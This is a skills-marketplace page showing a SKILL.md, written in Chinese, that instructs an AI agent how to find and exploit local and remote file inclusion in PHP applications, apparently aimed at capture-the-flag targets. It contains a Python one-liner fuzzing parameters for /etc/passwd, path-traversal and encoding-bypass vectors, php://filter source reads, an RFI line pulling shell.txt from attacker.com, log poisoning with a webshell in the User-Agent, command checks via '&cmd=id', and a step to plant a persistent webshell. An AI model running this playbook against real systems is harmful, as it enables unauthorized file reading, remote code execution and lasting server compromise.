Skip to main content

lfi-rfi-methodology

本地文件包含(LFI)/远程文件包含(RFI)/任意文件读取的检测和利用。当目标有文件包含参数(page/file/include/lang)、PHP应用、日志文件可写时使用。包含file_exists()陷阱、PHP include()语法错误诊断、日志投毒正确payload、pearcmd.php利用、PHP filter chain RCE、session文件包含条件竞争

Datos de origen

Repositorio
wgpsec/AboutSecurity
Última actividad en el origen
15 de octubre de 2026 a las 06:58
Idioma detectado de SKILL.md
chino
Estrellas
1790
Forks
248

Opciones de instalación

De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.

Revisa los archivos de origen

Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.

Explorador de archivos
5 archivos

Mostrando SKILL.md

SKILL.md
Instrucciones de origen · Vista previa de solo lectura
name
lfi-rfi-methodology
description
本地文件包含(LFI)/远程文件包含(RFI)/任意文件读取的检测和利用。当目标有文件包含参数(page/file/include/lang)、PHP应用、日志文件可写时使用。包含file_exists()陷阱、PHP include()语法错误诊断、日志投毒正确payload、pearcmd.php利用、PHP filter chain RCE、session文件包含条件竞争
metadata
{"tags":"lfi,rfi,file inclusion,file-inclusion,local file inclusion,path-traversal,rce,log-poisoning,目录穿越,文件包含,php://filter,data://,expect://,proc/self,etc/passwd,pearcmd,auto_prepend,文件读取,任意文件读取","category":"exploit"}
# 文件包含漏洞方法论 (LFI/RFI) ## ⛔ 深入参考(确认 LFI 后必读) - 日志投毒完整步骤、PHP Wrapper、Session 文件包含、include() 陷阱诊断 → [references/lfi-to-rce.md](references/lfi-to-rce.md) - pearcmd.php 利用、PHP Filter Chain RCE、Session 条件竞争 → 同在 [references/lfi-to-rce.md](references/lfi-to-rce.md) - LFI 到 RCE 提权路径详解 → [references/lfi2rce-techniques.md](references/lfi2rce-techniques.md) --- ## ⛔ Phase 0: 页面发现(LFI 测试的前提!) **在测试 LFI 之前必须先找全所有可访问页面。** 1. 用 `ffuf` / `spray` 扫描 `.php/.html`;失败时立即降级用 python3 requests 批量测试: ``` private.php, admin.php, secret.php, flag.php, test.php, debug.php, panel.php, dashboard.php, upload.php, api.php, config.php, backup.php, shell.php, cmd.php, exec.php, portal.php, manage.php, internal.php, hidden.php, restricted.php, secure.php, system.php, info.php, phpinfo.php, setup.php, install.php, download.php, view.php, file.php, read.php, include.php ``` 2. 记录所有返回 200 且非空的页面 → 这些才是 LFI 测试目标 ## Phase 1: 发现文件包含点 ⛔ **退出条件**:某端点测试 3+ 个参数均无响应差异(长度差 < 10 字节)→ 标记"无 LFI" → 换端点 ### ⛔ 参数 Fuzz(一步到位,禁止逐个手动测试!) 用 Python 批量测试所有常见参数(3 轮以上还在枚举参数 = 违规): ``` python3 -c "import requests;[print(f'FOUND: {p}?{param}') for p in ['private.php','index.php','page.php','view.php','file.php','read.php'] for param in ['file','page','path','include','doc','template','lang','module','view','load'] if 'root:' in requests.get(f'http://TARGET/{p}?{param}=../../../etc/passwd',timeout=3).text]" ``` - ffuf 做参数 Fuzz 时:wordlist 必须用 `Dic/web/ctf/param.txt`(不是目录字典!) - 不能只测 file 参数:id 参数也可能存在 LFI - URL 编码绕过:`..%2f`、`%2e%2e%2f` 绕过路径过滤 常见参数名: `file`, `page`, `path`, `include`, `doc`, `template`, `lang`, `module`, `action`, `view` 测试向量: ``` ?file=../../../etc/passwd ?file=../../../etc/passwd%00 (PHP < 5.3.4) ?file=..%252f..%252fetc%252fpasswd (双编码) ``` **验证方法**: 对比有参数和无参数的响应长度/内容,有差异 = 参数有效 ## Phase 2: 路径穿越测试 ``` 逐步增加 ../ 层数(通常4-7层到根目录): ?file=../../../../etc/passwd ``` ## Phase 3: 关键文件读取 ### ⛔ Dockerfile/源码优先路径规则 当已获取 Dockerfile 或应用源码时: 1. 提取 `WORKDIR` 值(如 `/var/www/html/`) 2. 提取 flag 文件名(如 `xbow-flag.txt`) 3. **拼接 WORKDIR + filename 作为第一优先读取路径**(如 `/var/www/html/xbow-flag.txt`) 4. ⛔ 禁止跳过已知路径去盲猜 `/app/flag.txt` `/flag` 等 **Linux**: `/etc/passwd`, `/proc/self/environ`, `/var/log/apache2/access.log` **Windows**: `C:\Windows\win.ini`, `C:\inetpub\wwwroot\web.config` **Web应用**: `config.php`, `.env`, `wp-config.php` **源码**: `php://filter/convert.base64-encode/resource=index` ### PHP 文件包含陷阱 - 直接 include .php 文件不会显示源码,只执行代码 - 需要用 `php://filter/convert.base64-encode/resource=xxx` 读取 PHP 源码 ## Phase 4: LFI → RCE 决策树 ⛔ **日志投毒优先触发条件**:当任务描述/题目名包含 `poison`、`log`、`日志` 关键字时,**跳过 wrapper 尝试,直接进入日志投毒流程**! ``` LFI 确认 │ ├─ ⛔ 题目含 "poison"/"log" 关键字?→ 直接日志投毒(跳过 Phase 3 后半段) │ ├─ 目标是 PHP + include()? │ │ ├─ pearcmd.php 存在?→ pearcmd 写 shell(最快,不依赖日志/session) │ │ ├─ file_exists() 不检查?→ php://input / data:// wrapper │ │ ├─ file_exists() 检查?→ wrapper 不可用!用日志投毒或 PHP filter chain │ │ ├─ 有 session 功能?→ Session 文件包含(将 PHP 代码注入 session 如用户名字段,包含 session 文件执行) │ ├─ 日志投毒(最通用) │ │ ├─ User-Agent 注入 PHP 代码 │ │ ├─ ⚠️ 绝对不用 system('cat /file.php')!用 file_get_contents() + echo │ │ └─ 包含 /var/log/apache2/access.log 触发 │ ├─ PHP Filter Chain RCE(无需文件写入/日志/session) │ │ └─ 用 php_filter_chain_generator.py 生成 chain │ └─ 详细步骤 → [references/lfi-to-rce.md](references/lfi-to-rce.md) ``` ## Phase 5: RFI 测试 `?file=http://attacker.com/shell.txt` (需 allow_url_include=On) | `?file=\\attacker.com\share\shell.php` (SMB/UNC) ## 注意事项 - **include() 会执行 PHP,file_get_contents() 读原始文本** — 关键区别 - LFI 比 RFI 更常见(RFI 需 PHP 配置允许)| HTTP 200 + Content-Length: 0 → PHP 语法错误被吞 ## ⛔ Agent 行为规则 ### ⛔ NEVER - NEVER 确认 LFI 后不读 references 就尝试 RCE — 必须先读完整利用链 - NEVER 只测 `/etc/passwd` 就放弃 — 必须尝试多种路径穿越深度(`../` 1-10 层) - NEVER 忽略 PHP Wrapper — `php://filter` 读源码是 LFI 最重要的利用之一 - NEVER 在同一个端点上连续测试超过 5 个参数都无响应差异时还继续 — 立即换端点 - NEVER 跳过页面发现就直接测 LFI — 先找全所有端点再测漏洞 - NEVER 只在首页已知的链接中找 LFI — 隐藏页面(如 private.php, admin.php)才是常见入口 - NEVER 逐个手动测试参数名(超过 3 轮还在枚举参数 = 严重违规!)— 用 Python 批量 Fuzz - NEVER 用目录字典做参数名 Fuzz — 参数 Fuzz 只用 `Dic/web/ctf/param.txt` - NEVER 忽略 Dockerfile 中的 WORKDIR + 文件名信息 — 直接拼接为第一优先路径 ### ✅ ALWAYS - ALWAYS 第一步:枚举全部页面(ffuf 扫描;ffuf 不可用时用 Python 测试 Top-50 常见文件名) - ALWAYS 测 LFI 前先确认目标端点有动态参数(对比有参数/无参数的响应差异) - ALWAYS 响应长度差异 < 10 字节 = 该参数无效,立即换参数或换端点 - ALWAYS 确认 LFI 后立即读 references/lfi-to-rce.md 获取完整利用路径 - ALWAYS 尝试 `php://filter/convert.base64-encode/resource=` 读取源码 - ALWAYS ffuf 失败时立即降级:用 python3 requests 批量测试常见文件名 - ALWAYS 参数发现用 Python 一次批量测试(file/page/path/include/doc/...全部一轮搞定) - ALWAYS 已获取 Dockerfile 时:提取 WORKDIR + 文件名 → 拼接绝对路径作为首选 ### 🔧 工具偏好 1. `ffuf` / `spray` — 页面发现首选(LFI 测试的前提) 2. `python3` — 参数批量 Fuzz 首选(一次测完所有参数×所有页面) 3. `curl` (via Bash) — LFI 测试和日志投毒首选(比 http_request 更灵活,支持管道/重定向) 4. 读取 references 文件 — 确认 LFI 后立即读取 references 5. `ffuf` + `Dic/web/ctf/param.txt` — 参数 Fuzz 备选(注意用参数字典不是目录字典) ### 📋 日志投毒 Checklist 确认 LFI 后走日志投毒路线时,严格按以下顺序执行: 1. ✅ 用 LFI 读日志文件(逐个试 nginx/apache 路径)→ 确认可读 2. ✅ 用 curl 注入 webshell payload 到 User-Agent(`\$_GET` 转义!) 3. ✅ 立即验证:LFI 包含日志 + `&cmd=id` → 确认输出 `uid=` 4. ✅ 成功 → 搜 flag + 写持久 webshell;失败 → 检查排查表(见 lfi-to-rce.md)
Ver en GitHub